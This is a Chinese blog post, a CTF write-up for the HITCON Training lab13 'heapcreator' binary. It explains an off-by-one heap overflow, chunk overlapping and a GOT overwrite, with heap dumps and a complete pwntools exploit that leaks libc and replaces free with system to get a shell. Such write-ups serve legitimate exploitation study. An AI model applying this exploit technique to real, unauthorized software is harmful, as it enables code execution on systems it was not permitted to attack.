Chunk Extend and Overlapping 1

发布于 2019-11-22  12 次阅读


HITCON Trainging lab13

题目文件

题目信息

➜  hitcontraning_lab13 git:(master) file heapcreator
heapcreator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5e69111eca74cba2fb372dfcd3a59f93ca58f858, not stripped
➜  hitcontraning_lab13 git:(master) checksec heapcreator
[*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/chunk_extend_shrink/hitcontraning_lab13/heapcreator'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

基本功能

程序大概是一个自定义的堆分配器,每个堆主要有两个成员:大小与内容指针。主要功能如下

  1. 创建堆,根据用户输入的长度,申请对应内存空间,并利用 read 读取指定长度内容。这里长度没有进行检测,当长度为负数时,会出现任意长度堆溢出的漏洞。当然,前提是可以进行 malloc。此外,这里读取之后并没有设置 NULL。
  2. 编辑堆,根据指定的索引以及之前存储的堆的大小读取指定内容,但是这里读入的长度会比之前大 1,所以会存在 off by one 的漏洞。
  3. 展示堆,输出指定索引堆的大小以及内容。
  4. 删除堆,删除指定堆,并且将对应指针设置为了 NULL。

利用思路

基本利用思路如下

利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。
申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。

每一次create都会先申请0x10 (heap->size)和(size+0x10)大小 (heap->content)的块。
当申请第二个heap的时候,第一个heap的content后面紧跟的就是第二个heap的size结构。
我们分别create(0x18)以及create(0x10)看下:

gef➤  heap chunks
Chunk(addr=0x7f7010, size=0x20, flags=PREV_INUSE)
    [0x00000000007f7010     18 00 00 00 00 00 00 00 30 70 7f 00 00 00 00 00    ........0p......]
Chunk(addr=0x7f7030, size=0x20, flags=PREV_INUSE)
    [0x00000000007f7030     68 61 70 70 79 0a 00 00 00 00 00 00 00 00 00 00    happy...........]
Chunk(addr=0x7f7050, size=0x20, flags=PREV_INUSE)
    [0x00000000007f7050     10 00 00 00 00 00 00 00 70 70 7f 00 00 00 00 00    ........pp......]
Chunk(addr=0x7f7070, size=0x20, flags=PREV_INUSE)
    [0x00000000007f7070     68 61 70 70 79 0a 00 00 00 00 00 00 00 00 00 00    happy...........]
Chunk(addr=0x7f7090, size=0x20f80, flags=PREV_INUSE)  ←  top chunk

0x7f7030是第一个heap的content,而0x7f7050是第二个heap的size,0x7f7070是第二个heap的content。由于存在off by one,我们修改第一个heap,使其溢出到0x7f7050,改写第二个heap的size chunk的大小。
假设溢出将其改为0x41,然后我们free第二个heap的时候,就能获得0x7f7070之后的overlap部分,再申请0x30的heap的时候,就会把那个0x41的块作为content,而这个content包含了新的第二个heap的struct结构,可以控制其块指针,进而通过show,edit来泄露free地址,改写free_got为system。

exp

from pwn import *

r = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('./libc.so.6')


def create(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def edit(idx, content):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(content)


def show(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


def delete(idx):
    r.recvuntil(":")
    r.sendline("4")
    r.recvuntil(":")
    r.sendline(str(idx))


free_got = 0x602018
create(0x18, "happy")  # 0
create(0x10, "happy")  # 1
# overwrite heap 1's struct's size to 0x41
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
# trigger heap 1's struct to fastbin 0x40
# heap 1's content to fastbin 0x20
delete(1)
# new heap 1's struct will point to old heap 1's content, size 0x20
# new heap 1's content will point to old heap 1's struct, size 0x30
# that is to say we can overwrite new heap 1's struct
# here we overwrite its heap content pointer to free@got
create(0x30,"HAPPYERS"*4+p64(0x30)+p64(heap.got['free']))
show(1)

r.recvuntil("Content : ")
data = r.recvuntil("Done !")
free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
log.success('Free address: '+hex(free_addr))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
edit(1,p64(system_addr))
delete(0)
r.interactive()